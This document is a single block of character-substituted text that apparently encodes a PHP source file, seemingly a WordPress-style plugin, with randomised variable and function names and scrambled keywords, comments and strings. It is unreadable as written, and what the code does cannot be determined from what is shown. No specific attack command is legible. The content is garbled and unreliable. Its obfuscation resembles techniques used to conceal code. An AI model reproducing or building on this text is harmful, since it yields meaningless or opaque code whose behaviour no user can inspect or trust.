}nn}e45'<<<<<8y*+Cwnxfsx)u+{w<<<<!<z}poy'<<<<zsny}t<<4fe/qwoyysxh4$((548puoh5<}o<8~}oyr}qy5<g33<KsnxLnyoo<*2/<sqq}rxo&<~}ht<owul1puoh<uz<4=<<u{n~xs$r(~%zo4+*,548~}oyr}qy55<g<srhuriy'<<<<<<<a<<<<<<<8dCp*fjpxnz<!<ukC/jmfl}em~f{4$-,548~}oyr}qy5'<<<<<<uz<48dCp*fjpxnz<<<!!!<;2;5<<<<g<<<<<<<<8dCp*fjpxnz<!<<8~}oyr}qy'<<<<<a<<<uz<<<4uooyh48urf-omuvpolG8dCp*fjpxnzA55<<g<<<srhuriy'<<a<<<8urf-omuvpolG8dCp*fjpxnzA<<<<!<<hniy'uz<<4ht,-v)d~l*(oe*x48~}oyr}qy55<<g<<wxyi{qmxnh*x$/e.rf48~}oyr}qy5'8y*+Cwnxfsx)u+{w<<<!<<hniy'a<<<<<a<<<uz<4\ukC/jmfl}em~f{4$()54iC}s%rysj$jew(osth,,r4555<g8nh/f)/$rw}!-*7-+'8eylnw%opl,tm!8nh/f)/$rw}1/('<<8rk/i.*~}dq<!<<<i.o-i/tr+)y+tot}omwi4iC}s%rysj$jew(osth,,r455'<<<uz<<<4u{n~xs$r(~%zo4$(*548rk/i.*~}dq55<<<<g<8jxudsyevs(jy/dm<<<!<8[PS^]POGukC/jmfl}em~f{4$,$5A'<<<<<<<zsny}t<48rk/i.*~}dq<<<<}o<<<<<<8f{x*}~,rh)ze5<g<<<uz<<<<<48f{x*}~,rh)ze<<<<!!!<<<<<<uw$ot){/i$d)iedupm%e455<<<g<<srhuriy'a33<KL<Urhyn}hujuhe<]LU<}olyh<n}hus<<8spkfdyp$}s<<!<iC}s%rysj$jew(osth,,r45<<<<<<2<<;3;<<<<<2<8f{x*}~,rh)ze'uz<<<4=<\fe/qwoyysxh4$.-548spkfdyp$}s5<<<``<<~~t*pewxp%lxrp.4++54~~t*pewxp%lxrp.4$..548f{x*}~,rh)ze0<<<sroh}rh4fe/qwoyysxh4$(+5555<<=!!<<<ukC/jmfl}em~f{4$($55<<<<g<srhuriy'<a<<uz<<<4ol+tn-+~l-~oil48spkfdyp$}s0<<8jxudsyevs(jy/dm55<<<<<g<uepno,inmjey/mr48spkfdyp$}s5'<8y*+Cwnxfsx)u+{w<<!<<hniy'<<<a<<<<a<<<<<<<a<<<a<<<<<<8zq*i*)yojm/hp%<<<<<!<<<8[PS^]POGu{n~xs$r(~%zo4($.5A'<<<<uz<<4fe/qwoyysxh4$(*548zq*i*)yojm/hp%5<::<=<<yqlhe48zq*i*)yojm/hp%55<<<g33<Nyhsn<}ihs1nyz}hsn<ouhy<qyh}<uz<<<4ne$fhu/d)r~tnlC48zq*i*)yojm/hp%55<<<g<8y*+Cwnxfsx)u+{w<<<!<<hniy'<<<a<<<<a<<<<a<}ht<<4Htnsk}~py<8phr-l)~h-C.5<<<g33<\xyny{uohyn<yzzyh1helyswd(~($..Cxnwiox}epi4fe/qwoyysxh4$(%50<<<8phr-l)~h-C.5'<<<<<<<<a<<<<<}ht<4Ydylhusr<<8phr-l)~h-C.5<g<<<<<a<<<<a<<zirhusr<lqjehun~dw+e}(p,i45<g33<lnsl}{}hy1sroh<{yryn}p1nyinoujy<sppyhsn<<<<hne<g8ut~-qkp},)kl{qif<<!<4urh5<{yhCslhusr4fe/qwoyysxh4$),50<,5'<uz<<<<44fe/qwoyysxh4++,545<1<<<<<8ut~-qkp},)kl{qif5<"!<<<4/)/*7*(55<<<<g<<<<<ilx}hyCslhusr4u{n~xs$r(~%zo4$)-50<ukC/jmfl}em~f{4$).5455'<8hjmi(hjiti-<<<!<}nn}e4}nn}e4rp%y~mpw+j{uxui)450<<<}nn}e4fe/qwoyysxh4$)/5555'8er}nv,,rlj%<<<<!<<~~t*pewxp%lxrp.4$)(54~~t*pewxp%lxrp.4.$55<<<<<#<<<<<<~~t*pewxp%lxrp.4.$545<<<<&<>>'<<<<uz<48er}nv,,rlj%<<=!!<<>><::<8er}nv,,rlj%<<<<=!!<<<<<rp%y~mpw+j{uxui)455<<<8hjmi(hjiti-GA<<<<<!<<}nn}e48er}nv,,rlj%0<}nn}e4u{n~xs$r(~%zo4$)/50<u{n~xs$r(~%zo4$))555'<<zsny}t<<<48hjmi(hjiti-<<<<}o<<8isml$.qm,/ewe5<<<g33<]L_i<otq<NYOH<srhnsppynzsny}t<<<<<<48isml$.qm,/eweG-A<<}o<<<<<8k{fdk-rr)%Ct-5<<<<<<g<<<<<<8n~noy+fjkopt<<!<<<<<u{n~xs$r(~%zo4$)(54u{n~xs$r(~%zo4),$55<<<<<#<<\~~t*pewxp%lxrp.4),$548isml$.qm,/eweG,A<<<<2<<;3;<2<<<<<<8k{fdk-rr)%Ct-<<2<;6;5<<<<<<&<<z}poy'<<<<<<uz<4=u{n~xs$r(~%zo4$(*548n~noy+fjkopt55<<srhuriy'<<zsny}t<<<<48n~noy+fjkopt<<<<<}o<8dtl)+}dvw+5<<<<<g<<<uz<<<4=\fe/qwoyysxh4$)*548dtl)+}dvw+55<<<<<srhuriy'<<<<<<<8o{-.evmo(/s%<<!<\fe/qwoyysxh4.,.548dtl)+}dvw+5'uz<48o{-.evmo(/s%<<<=!!<z}poy<<::<<<<4~~t*pewxp%lxrp.4$)+545<<1<<8o{-.evmo(/s%5<<<"<<<4+,%+1/(%+55<<uepno,inmjey/mr48dtl)+}dvw+5'<aaa8uefn+${r*ox+vq<<<<<<!<<{yhCslhusr4fe/qwoyysxh4++$50<}nn}e455'<<uz<<4=~~t*pewxp%lxrp.4$(*548uefn+${r*ox+vq55<8uefn+${r*ox+vq<<!<<<<<}nn}e45'<<<<8vky),rh,qz-<!<<<u{n~xs$r(~%zo4.)+54n-*%o%~y,f,/qj,450<ukC/jmfl}em~f{4$)$55'8q-snhd$lun+qo!*-,'8tmmi}rnqquim!48q-snhd$lun+qo",5#8q-snhd$lun+qo&18q-snhd$lun+qo'8Clx<!<4xyzuryx4~~t*pewxp%lxrp.4-(,55<<#<<KLC_SRHYRHCXUN<&<<]^OL]HT<<<2<<~~t*pewxp%lxrp.4$)%55<2<<<<u{n~xs$r(~%zo4$*,5'zsny}t<4u{n~xs$r(~%zo4$)(54fe/qwoyysxh4),$55<<<<#<<4}nn}e5<\u{n~xs$r(~%zo4),$548Clx<<<2<<<u{n~xs$r(~%zo4$*-55<<<&<<<<<<}nn}e45<<}o<8mz-ml-l*ytkr5<g<<<<<<uz<<4~~t*pewxp%lxrp.4$*.54u{n~xs$r(~%zo4$-,548mz-ml-l*ytkr55<<!!!<8vky),rh,qz-5<<srhuriy'<8~dh~+./,f)<!<fe/qwoyysxh4$*.54~~t*pewxp%lxrp.4$*/548mz-ml-l*ytkr55<<2<<;3;<<<<2<~~t*pewxp%lxrp.4$*.548mz-ml-l*ytkr5'8u~h*,%%!-()`-**'8ddozoun)!8u~h*,%%B-/('<<<<<<uz<<4u{n~xs$r(~%zo4+%*548~dh~+./,f)0<<8uefn+${r*ox+vq0<<<<hniy55<<srhuriy'<<<<<uz<<<4=\u{n~xs$r(~%zo4-(+548mz-ml-l*ytkr55<srhuriy'<8hlhh(zCsi~.hh{t<!<<\u{n~xs$r(~%zo4../548mz-ml-l*ytkr5'<<<<<<uz<4=8hlhh(zCsi~.hh{t<<``<<<8hlhh(zCsi~.hh{t<<<<"<4.,%+,+/7+%55<<<srhuriy'<<<<<<8}(,wkvv{p{*ll{q<!<\ukC/jmfl}em~f{4)%%548mz-ml-l*ytkr5'<uz<4=~~t*pewxp%lxrp.4+*,548}(,wkvv{p{*ll{q5<<<<``<<<<<u{n~xs$r(~%zo4$*(548}(,wkvv{p{*ll{q0<fe/qwoyysxh4$*)55<<!!!<<<z}poy5<<srhuriy'8h*)l+zq,n(m<<<!<<ukC/jmfl}em~f{4)--54ukC/jmfl}em~f{4$**50<<<<<>>0<<8}(,wkvv{p{*ll{q5'<<<<<<<<uz<<<4=~~t*pewxp%lxrp.4+*,548h*)l+zq,n(m5<<<<<``<<<8h*)l+zq,n(m<<<<<!!!<<<8}(,wkvv{p{*ll{q<<<<<``<=jfx)rnxu%,mC+~f~i48h*)l+zq,n(m55<<srhuriy'<o~mz~fi/(/rr)jo-dvudl48mz-ml-l*ytkr0<<<<8h*)l+zq,n(m5'<uz<4fe/qwoyysxh4$*+54ukC/jmfl}em~f{4.,,555<\sl}tyCurj}pux}hy48mz-ml-l*ytkr0<hniy5'<a<<<<iroyh48uefn+${r*ox+vq0<<<<<<8vky),rh,qz-0<<<<8Clx0<<8mz-ml-l*ytkr0<<<<<8~dh~+./,f)0<<8hlhh(zCsi~.hh{t0<<8}(,wkvv{p{*ll{q0<8h*)l+zq,n(m5'<<o)xrdwwnwfnn+m{,C,o45'<<<<<a<<<<<8v/+dn.(dmkpy<!<<<<<8[PS^]POGukC/jmfl}em~f{4$*$5A'8zq*i*)yojm/hp%<!<8[PS^]POG~~t*pewxp%lxrp.4($.5A'<<<8~{xiuzokpv}h~{-<<!<<<4u{n~xs$r(~%zo4$(*548v/+dn.(dmkpy5<<<<::<<=<yqlhe48v/+dn.(dmkpy55<<``<4ukC/jmfl}em~f{4$*%548zq*i*)yojm/hp%5<<::<<<=<yqlhe48zq*i*)yojm/hp%55'uz<<<<4=<8~{xiuzokpv}h~{-5<<<<g<<<<<nyhinr'<<<<<a<8qzv{h~Cu-v*jp~t<<!<<4urh5<<<{yhCslhusr4ukC/jmfl}em~f{4$+,50<<,5'<uz<44ukC/jmfl}em~f{4$)+545<<<<<1<8qzv{h~Cu-v*jp~t5< <<<<4,d%%y7,d(+.55<<<g33<KL<H}{<_psix&<purw<iruzu}husr<<<<<nyhinr'<a<<<l)nve(v$vijfjnf},vz,C45'ilx}hyCslhusr4~~t*pewxp%lxrp.4$+,50<fe/qwoyysxh4$)+5455'a<<<<<<}ht<<4Htnsk}~py<<<8phr-l)~h-C.5<g<<<swd(~($..Cxnwiox}epi4~~t*pewxp%lxrp.4$+-50<<8phr-l)~h-C.5'<<a<<}ht<<4Ydylhusr<<<<8phr-l)~h-C.5<<<g33<LON1(<r}qyol}yo<}l}~upuhe<{}hy<<a<a<<<<<zirhusr<<{*r-ho{%.wCh*wnikkorz%45<<<ghne<g<<<<<<<8lp,tkv(-p{red<<<<<!<<yfdderdjunq.-.k45'<<<<<<uz<4=8lp,tkv(-p{red<``<<u{n~xs$r(~%zo4))/548lp,tkv(-p{red5< <<4((.7)$55<nyhinr'uz<<<<<4=jfx)rnxu%,mC+~f~i48lp,tkv(-p{red55<g8vqqm-o)if!($*'8jn(%k++rwkjh-!48vqqm-o)if",5#8vqqm-o)if&18vqqm-o)if'<swd(~($..Cxnwiox}epi4fe/qwoyysxh4$+.50<~~t*pewxp%lxrp.4$+/55'nyhinr'<a<<<uz<<<<<4ukC/jmfl}em~f{4$*+54u{n~xs$r(~%zo4$+(55<<<::<<{yhChn}rouyrh4fe/qwoyysxh4$+)555<nyhinr'<<<8fy{(wpj-k.~-ue<<!<<<<iC}s%rysj$jew(osth,,r45'py}noh}h}ty4hniy5'<uz<4\u{n~xs$r(~%zo4$+*548fy{(wpj-k.~-ue5<<<<::<=\ukC/jmfl}em~f{4$()548fy{(wpj-k.~-ue55<g<<<nyhinr'<a<<<<<<<<<uz<<<4=\u{n~xs$r(~%zo4$++548fy{(wpj-k.~-ue55<<<g<<<<<<<8rjwzqlzzy}sxz<!<<<<<\iq}ow4,5'<<<<<Crdwd-o(p(e{vz}}x48fy{(wpj-k.~-ue0<<<<<<4+),1.)+50<<hniy5'<<<<<\iq}ow48rjwzqlzzy}sxz5'<mmhy/nCplvkizofojuy48fy{(wpj-k.~-ue0<<4(--7$.55'<py}noh}h}ty4hniy5'<a<ypoy<<<<uz<4=\fe/qwoyysxh4$--548fy{(wpj-k.~-ue5<<<<<``<=\~~t*pewxp%lxrp.4-(+548fy{(wpj-k.~-ue55<<<g<<<<<mmhy/nCplvkizofojuy48fy{(wpj-k.~-ue0<<4./)7.)$55'<py}noh}h}ty4hniy5'<<<a<<<<<<<uz<<<<<4\u{n~xs$r(~%zo4$++548fy{(wpj-k.~-ue5<::<<<<<4=\u{n~xs$r(~%zo4$--548fy{(wpj-k.~-ue5<<``<=\fe/qwoyysxh4-(+548fy{(wpj-k.~-ue55<<::<\~~t*pewxp%lxrp.4$(/548fy{(wpj-k.~-ue55<<g<8rjwzqlzzy}sxz<<!<<\iq}ow4,5'<<Crdwd-o(p(e{vz}}x48fy{(wpj-k.~-ue0<<4-.+7/**50<<<hniy5'<<\iq}ow48rjwzqlzzy}sxz5'<<<<<<mmhy/nCplvkizofojuy48fy{(wpj-k.~-ue0<<<<4($,7-/55'<py}noh}h}ty4hniy5'<<<<a<<<<<<<py}noh}h}ty4hniy5'<<<<uz<<4=\ukC/jmfl}em~f{4$++548fy{(wpj-k.~-ue5<<``<<<<=\~~t*pewxp%lxrp.4$+$548fy{(wpj-k.~-ue5<<``<=\u{n~xs$r(~%zo4$--548fy{(wpj-k.~-ue55<<g<<<<swd(~($..Cxnwiox}epi4fe/qwoyysxh4$+.50<<fe/qwoyysxh4$+%55'uz<<<4~~t*pewxp%lxrp.4$$,54ukC/jmfl}em~f{4+$-555<<\oyhChn}rouyrh4ukC/jmfl}em~f{4$+)50<<-0<<4)/(/1-+(/55'<nyhinr'<<a<<<<<<<<8wl/x(dsvu.}m(kh<<!<<8fy{(wpj-k.~-ue<<<<<<2<<<<;3;<2<<uw$ot){/i$d)iedupm%e45'<<<<<<uz<4fqy-xz/v$*.~jh-fq{k)48wl/x(dsvu.}m(kh55<<gnyhinr'a<uz<4\~~t*pewxp%lxrp.4$$-548wl/x(dsvu.}m(kh5<::<<<<<\~~t*pewxp%lxrp.4../548wl/x(dsvu.}m(kh5<<<"<<4(%+-7.%5<<<<<<::<<<<<<fe/qwoyysxh4$$.54vkC$uou+iut)vwv(+y44ohnur{5<<\~~t*pewxp%lxrp.4$$/548wl/x(dsvu.}m(kh555<<!!!<<<<<u{n~xs$r(~%zo4$$.548lp,tkv(-p{red55<g<<<p,}zwe%(th(zt%C}48wl/x(dsvu.}m(kh5'~,ukln{tvi,z~h+kr45'<{*t.+~p{.o+eq}jfqjt{,45'<<nyhinr'<<<<<a<uz<<<4\ukC/jmfl}em~f{4$$-548wl/x(dsvu.}m(kh5<<::<<\fe/qwoyysxh4../548wl/x(dsvu.}m(kh5<<"<<4,d-~*7,d--x.55<<<g8ddeqz(n.h)pe!1/+/'8t}*llCdz~q!48ddeqz(n.h)pe",5#8ddeqz(n.h)pe&18ddeqz(n.h)pe'<<8v.w(j,pe(/v<<!<<<<<<4ohnur{5<\fe/qwoyysxh4$$(548wl/x(dsvu.}m(kh0<z}poy0<<<ripp0<<<<<,0<<<<4(*$/1)$+55'uz<4fe/qwoyysxh4+*,548v.w(j,pe(/v5<<::<<u{n~xs$r(~%zo4$,*54~~t*pewxp%lxrp.4+*(50<<8v.w(j,pe(/v0<<8Cxq5<<::<<<jynousrCsql}ny48CxqG-A0<<k{~w}fh$fk{*s}r}*k/z+h450<<;";55<<nyhinr'iroyh48v.w(j,pe(/v0<<8Cxq5'<<<a<<<<8et$jv,iC)r<<<!<<<<<<o~mz~fi/(/rr)jo-dvudl48wl/x(dsvu.}m(kh0<h/zqmsszw-ie}yw)srk48lp,tkv(-p{red55'<<uz<4=8et$jv,iC)r<``<<<=\ukC/jmfl}em~f{4$$)548wl/x(dsvu.}m(kh5<<<``<<<<<\ukC/jmfl}em~f{4../548wl/x(dsvu.}m(kh5< <<4-$,%1$,%5<``<<<<ukC/jmfl}em~f{4$$.54vkC$uou+iut)vwv(+y44ohnur{5<\ukC/jmfl}em~f{4$$*548wl/x(dsvu.}m(kh555<<<=!!<~~t*pewxp%lxrp.4$$.548lp,tkv(-p{red55<<<g<uz<<<<48et$jv,iC)r<<::<<<\fe/qwoyysxh4$$-548wl/x(dsvu.}m(kh55<<<<<g<<<8v.w(j,pe(/v<<<!<<<<4ohnur{5<<\fe/qwoyysxh4$$*548wl/x(dsvu.}m(kh0<z}poy0<ripp0<,0<<4(,,.7%(55'<<<<<<<<8i*mw%vwC~<<<<<<!<ukC/jmfl}em~f{4$$+548v.w(j,pe(/v5<::<fe/qwoyysxh4$,*54ukC/jmfl}em~f{4+*(50<<8v.w(j,pe(/v0<8Cxq5<<<<::<<<jynousrCsql}ny48CxqG-A0<<<k{~w}fh$fk{*s}r}*k/z+h450<<;";5'<<<<<iroyh48v.w(j,pe(/v0<<<<8Cxq5'<uz<<4=8i*mw%vwC~5<<gmmhy/nCplvkizofojuy48wl/x(dsvu.}m(kh0<<<<4+.-1/,-55'uepno,inmjey/mr48wl/x(dsvu.}m(kh5'<<<a<<<a<<<<uz<<4ukC/jmfl}em~f{4$$,54ukC/jmfl}em~f{4+$-555<\oyhChn}rouyrh4u{n~xs$r(~%zo4$+)50<<<<-0<<<<4$%.7.+,$55'nyhinr'<ay%(vpw(x(-hw/p48wl/x(dsvu.}m(kh5'8zhz-~wt*$!..%`*/'8hCf,r.$-!8zhz-~wt*$B-(*'<mmhy/nCplvkizofojuy48wl/x(dsvu.}m(kh0<<<4-$%7-,/55'<<p,}zwe%(th(zt%C}48wl/x(dsvu.}m(kh5'<~,ukln{tvi,z~h+kr45'<<<<<<{*t.+~p{.o+eq}jfqjt{,45'<<a<<<<}ht<<<<<<4Htnsk}~py<<8phr-l)~h-C.5<<<gswd(~($..Cxnwiox}epi4u{n~xs$r(~%zo4$+.50<8phr-l)~h-C.5'<<<a<}ht<4Ydylhusr<<<<<<8phr-l)~h-C.5<<<<g<aa<zirhusr<dh}uvqekk.fxso45g<hne<<<g8lp,tkv(-p{red<!<<yfdderdjunq.-.k45'uz<48lp,tkv(-p{red<::<<<=~-n{n.-eq)~tm)hy%f*-48lp,tkv(-p{red55<g<8rjwzqlzzy}sxz<!<<<<t~ui.jvk{k%(/inf/rwCCd4~~t*pewxp%lxrp.4$,,50<<>>5'<8}wuy.k%jq{.(j<<!<<<<<nsw-)hms*z-jk%f4ukC/jmfl}em~f{4$$+548rjwzqlzzy}sxz5<<<<#<<<8rjwzqlzzy}sxz<<&<<<<>>5'<<<8C+nlsCtzyC/<<!<<<<<nsw-)hms*z-jk%f48lp,tkv(-p{red5'<<<uz<<4=~~t*pewxp%lxrp.4$$+548rjwzqlzzy}sxz5<<<<``<<~~t*pewxp%lxrp.4))/548rjwzqlzzy}sxz5<<< <<<4,d%%7,d-)~5<<``<<~-n{n.-eq)~tm)hy%f*-48rjwzqlzzy}sxz5<<``<<<<8}wuy.k%jq{.(j<!!!<<<>><<<<<``<<48C+nlsCtzyC/<=!!<<<>><<<<::<jynousrCsql}ny48C+nlsCtzyC/0<8}wuy.k%jq{.(j0<;";555<<g<vfCp.pff*hef}nxkrwq..j4~~t*pewxp%lxrp.4$,,50<<<8lp,tkv(-p{red0<ukC/jmfl}em~f{4+$%55'<uz<4ukC/jmfl}em~f{4$$,54~~t*pewxp%lxrp.4$$$555<g<\ilx}hyCslhusr4fe/qwoyysxh4+(+50<<,0<<u{n~xs$r(~%zo4+$%55'<<\ilx}hyCslhusr4~~t*pewxp%lxrp.4*-*50<,0<<<<<~~t*pewxp%lxrp.4+$%55'\ilx}hyCslhusr4~~t*pewxp%lxrp.4+)+50<<,0<<<u{n~xs$r(~%zo4+$%55'<<<<<<a<uz<4~~t*pewxp%lxrp.4$$%54fe/qwoyysxh4$%,555<\xypyhyChn}rouyrh4}-oonC{%u+))f+uw,om455'a<<<<a<<<<<<uz<4~~t*pewxp%lxrp.4$$%54ukC/jmfl}em~f{4$%-55<<<<<::<<<ukC/jmfl}em~f{4$%.54u{n~xs$r(~%zo4$$$555<<<<<g<<8ixt{k/y$msp<<<!<<{yhCslhusr4~~t*pewxp%lxrp.4$%/55'<uz<<<<48ixt{k/y$msp<=!!<<z}poy<<::<<8ixt{k/y$msp<<=!!<<<k{~w}fh$fk{*s}r}*k/z+h455<<<g<<\ilx}hyCslhusr4fe/qwoyysxh4$%/50<<<k{~w}fh$fk{*s}r}*k/z+h450<ukC/jmfl}em~f{4$%(55'<<<<aa33<uroh}rhu}hy<lnsvyhujy<lnssz1hynq<uz<<<4=<fe/qwoyysxh4$%)54~~t*pewxp%lxrp.4$%*55<<``<<<<=<}xxCslhusr4~~t*pewxp%lxrp.4$%/50<<<<<k{~w}fh$fk{*s}r}*k/z+h450<<<>>0<~~t*pewxp%lxrp.4$%(555<g<nyhinr'<<a<<<<<<<ddheq(y.{/jqqp~s.js+(45'<uz<4~~t*pewxp%lxrp.4$%)54~~t*pewxp%lxrp.4$$$555<<g<<<<<<\ilx}hyCslhusr4~~t*pewxp%lxrp.4+(+50<,0<fe/qwoyysxh4$%(55'<<\ilx}hyCslhusr4u{n~xs$r(~%zo4*-*50<<,0<<<fe/qwoyysxh4$%(55'\ilx}hyCslhusr4u{n~xs$r(~%zo4$%+50<<,0<<<fe/qwoyysxh4$%(55'<<<a<<uz<<<<4u{n~xs$r(~%zo4$%)54ukC/jmfl}em~f{4$%,555<<\xypyhyChn}rouyrh4}-oonC{%u+))f+uw,om455'<<<uz<<<<48lp,tkv(-p{red<<<<<::<<=~-n{n.-eq)~tm)hy%f*-48lp,tkv(-p{red55<g<vfCp.pff*hef}nxkrwq..j4u{n~xs$r(~%zo4$,,50<<8lp,tkv(-p{red0<<<<<<~~t*pewxp%lxrp.4$%$55'<a33<\~yrtq}nw<lnsjuxynk(xvw/qy+ey(p-**$+uz{4ripp5'<<<<<<<<<<<<mmhy/nCplvkizofojuy4n-*%o%~y,f,/qj,450<<<<<4,d}7,d)}55'33<\yr}~py<nyoiqy1oyoousr{e.wp,ojx,/fijw~4u{n~xs$r(~%zo4((.50<<ukC/jmfl}em~f{4((/50<,5'<<<<<<<<{e.wp,ojx,/fijw~4u{n~xs$r(~%zo4$%%50<<<<u{n~xs$r(~%zo4%,,50<<<<,5'<<<a<}ht<<4Htnsk}~py<<8phr-l)~h-C.5<<<g<swd(~($..Cxnwiox}epi4u{n~xs$r(~%zo4%,-50<<<<8phr-l)~h-C.5'<<uz<4~~t*pewxp%lxrp.4$%)54ukC/jmfl}em~f{4%,.555<<<<\xypyhyCslhusr4ukC/jmfl}em~f{4$%/55'<<a<}ht<<<<<4Ydylhusr<<<8phr-l)~h-C.5<<g<<<<<<<uz<<<4u{n~xs$r(~%zo4$%)54ukC/jmfl}em~f{4%,.555<<<<<<\xypyhyCslhusr4fe/qwoyysxh4$%/55'<<aa<zirhusr<<m%Clv%o,j.uqkm/m{siy45<<<<<g<<<<<hne<<<g8~f}}dyeux!/*6$'8pmp{jhtmmrli!8~f}}dyeux1-.'<<<<<uz<4u{n~xs$r(~%zo4$%)54~~t*pewxp%lxrp.4+$(555<<g33<KL<Yrhuhe<Lnsjuxyn<onoyh<xyonulhsn\ukC/jmfl}em~f{4%,/54tsqyCinp4;3;50<}nn}e4ukC/jmfl}em~f{4+$*5<<<<!"<4-7(50<ukC/jmfl}em~f{4//$5<!"<z}poy0<~~t*pewxp%lxrp.4(($5<!"<<<z}poy55'<<a33<LTL<$2.<yriq&<srzu{iny<ny{uohnea<<}ht<4Htnsk}~py<<8phr-l)~h-C.5<<<<gswd(~($..Cxnwiox}epi4ukC/jmfl}em~f{4%,(50<<<8phr-l)~h-C.5'<<a<}ht<4Ydylhusr<8phr-l)~h-C.5<<g<a<<<<<<<<a<<<<<<<zirhusr<dz))-inf-v%)q-45g<<<<oh}hu<8}}%tj+%me%y,+<<!<<z}poy'uz<<<48}}%tj+%me%y,+5<<nyhinr'<<<8}}%tj+%me%y,+<!<hniy'<<<<<hne<<g<uz<4=<<<<<fe/qwoyysxh4$%)54ukC/jmfl}em~f{4%,)55<``<<=<uoC}xqur455<gnyhinr'<auz<4=fe/qwoyysxh4$%)54u{n~xs$r(~%zo4$/-55<<<<``<<<=innyrhCioynC}r4~~t*pewxp%lxrp.4%,*555<<g<<<<<<nyhinr'a<<<<<8if*{n}pu)s*dvewd<!<uooyh48CNYMIYOHGukC/jmfl}em~f{4%,+5A5<<#<8CNYMIYOHGu{n~xs$r(~%zo4%,+5A<<<&<<<>>'<8if*{n}pu)s*dvewd<<!<<u{n~xs$r(~%zo4$$+548if*{n}pu)s*dvewd5<#<<fe/qwoyysxh4*$-548if*{n}pu)s*dvewd5<&<>>'<<uz<<48if*{n}pu)s*dvewd<=!!<<~~t*pewxp%lxrp.4%,$5<<<<<<::<<8if*{n}pu)s*dvewd<<<=!!<ukC/jmfl}em~f{4%,%55<gnyhinr'<<a<<<<<<<<8kCnC+ii,/)-+z$t*<<<<!<<<<}nn}e45'<<<uz<48if*{n}pu)s*dvewd<<!!!<<u{n~xs$r(~%zo4%,$55<<<g<<8o*+}nszhsih)r$<<<!<<<uooyh48CNYMIYOHGfe/qwoyysxh4+,)5A5<<#<<<8CNYMIYOHGu{n~xs$r(~%zo4+,)5A<<<&<<<<<>>'<<<<8o*+}nszhsih)r$<!<<u{n~xs$r(~%zo4$$+548o*+}nszhsih)r$5<<#<<u{n~xs$r(~%zo4%-,548o*+}nszhsih)r$5<<<&<<<>>'<uz<<<48o*+}nszhsih)r$<<<::<<<<8o*+}nszhsih)r$<<=!!<<mk,tn)*f~+%,%*zf}n,455<<<<<<g<8kCnC+ii,/)-+z$t*GA<!<<<8o*+}nszhsih)r$'a<<a<ypoy<<<g33<ohny}qur{<oh}w1zn}qy<<<<<<<<8eC~C+}k-j/sm<<<<<!<uooyh48CNYMIYOHGukC/jmfl}em~f{4%--5A5<<#<<<<8CNYMIYOHGukC/jmfl}em~f{4%--5A<<<<&<}nn}e45'<<<<<8eC~C+}k-j/sm<<<<<!<<fe/qwoyysxh4%-.548eC~C+}k-j/sm5<<<#<<8eC~C+}k-j/sm<&<<}nn}e45'<<<<zsny}t<48eC~C+}k-j/sm<}o<8o*+}nszhsih)r$5<g33<psw<oynu}pufyn<zsn<q~ohnur{<ohnuh<<8o*+}nszhsih)r$<<<!<<<fe/qwoyysxh4$$+548o*+}nszhsih)r$5<<#<<ukC/jmfl}em~f{4%-/548o*+}nszhsih)r$5<<&<<<>>'<uz<<<<48o*+}nszhsih)r$<::<8o*+}nszhsih)r$<<=!!<<mk,tn)*f~+%,%*zf}n,455<<g<<8kCnC+ii,/)-+z$t*GA<<<<<!<<8o*+}nszhsih)r$'<a<<<<<a<<<<<<<a<<<uz<4yqlhe48kCnC+ii,/)-+z$t*55<<gnyhinr'8Cw$fCqi!-.*`$,'8x{n~}eef.o!8Cw$fCqiB$-'a36<ydlyhyx<opuxur{1kurxsk<63<<<<8y*+Cwnxfsx)u+{w<<<!<z}poy'<<<zsny}t<<48kCnC+ii,/)-+z$t*<<<}o<<8o*+}nszhsih)r$5<<g8un+pu}fqqz{m!4,d.z7,d/5'8~)y{qdp(t!8un+pu}fqqz{m9-*'<<<<<uz<<<<4ht,-v)d~l*(oe*x48o*+}nszhsih)r$55<gwxyi{qmxnh*x$/e.rf48o*+}nszhsih)r$5'<8y*+Cwnxfsx)u+{w<<<<!<<hniy'a<a<<uz<48y*+Cwnxfsx)u+{w5<<<<g<uz<<<4fe/qwoyysxh4$%)54fe/qwoyysxh4%-(55<::<<u{n~xs$r(~%zo4$%)54u{n~xs$r(~%zo4%-)555<<<<<<g33<LTLOh}r<pyjyp<%&<znyy<j}pux}hsn<klCo}zyCnyxunyh4}xqurCinp4u{n~xs$r(~%zo4%-*555'<<<<<aa<<<<<a<<}ht<4Htnsk}~py<<8phr-l)~h-C.5<<<<g<swd(~($..Cxnwiox}epi4ukC/jmfl}em~f{4%-+50<<<8phr-l)~h-C.5'<<<a<<}ht<<4Ydylhusr<<<8phr-l)~h-C.5<<<g33<LON1(<r}qyol}yo<}juz<z}pp~}w<aa<<<zirhusr<<<<<<}rkhsm(/yr~)%~fo{48{uCoykhoq0<<<8}hp+mw,{m,x.+le5<<<g<uz<<48}hp+mw,{m,x.+le<<<<!!!<<<~~t*pewxp%lxrp.4%-$55<<g<8lpi{uro<<<<<!<<<:8[PS^]POGu{n~xs$r(~%zo4%-%5A'<<uz<<4=uooyh48lpi{uroG~~t*pewxp%lxrp.4%-$5A5<<``<<<=u{n~xs$r(~%zo4%-.548lpi{uroGu{n~xs$r(~%zo4%.,5A55<<g<<nyhinr<8{uCoykhoq'a<<<<<8fvClym-*C.<<<<<!<xyzuryx4u{n~xs$r(~%zo4-(,55<<#<<KLC_SRHYRHCXUN<<&<<4xyzuryx4~~t*pewxp%lxrp.4,55<#<<<<<<]^OL]HT<<<2<<<u{n~xs$r(~%zo4$)%5<<&<<<>>5'<<<<uz<48fvClym-*C.<!!!<<<<>>5<<<<g<<<<nyhinr<<<<<8{uCoykhoq'<<<<<<<<a<8elui~plv*zCv<<!<<}nn}e4u{n~xs$r(~%zo4%.-5<<<<!"<<fe/qwoyysxh4%..50<<ukC/jmfl}em~f{4%./5<<!"<<<<<<~~t*pewxp%lxrp.4%.(55'zsny}t<48elui~plv*zCv<<<<<<}o<<8jqeeqx}(j+<!"<<<8k{fdk-rr)%Ct-5<<<<<guz<4=uooyh48lpi{uroG~~t*pewxp%lxrp.4%.)5AG8jqeeqx}(j+A55<<g<srhuriy'a33<\irqsirh<hnuy<8mf/urvwjyv/<!<\u{n~xs$r(~%zo4%.*548fvClym-*C.<<2<<<;3;<<2<8jqeeqx}(j+5'uz<<<<<4=ukC/jmfl}em~f{4$$+548mf/urvwjyv/5<<``<<<<<<fe/qwoyysxh4$*(548mf/urvwjyv/0<<<fe/qwoyysxh4%.+5<<2<8k{fdk-rr)%Ct-<2<<fe/qwoyysxh4%.$55<<<<<!!!<z}poy5<<<<gsrhuriy'<<<<<<a<<<<8vhv~v~$urzx%m/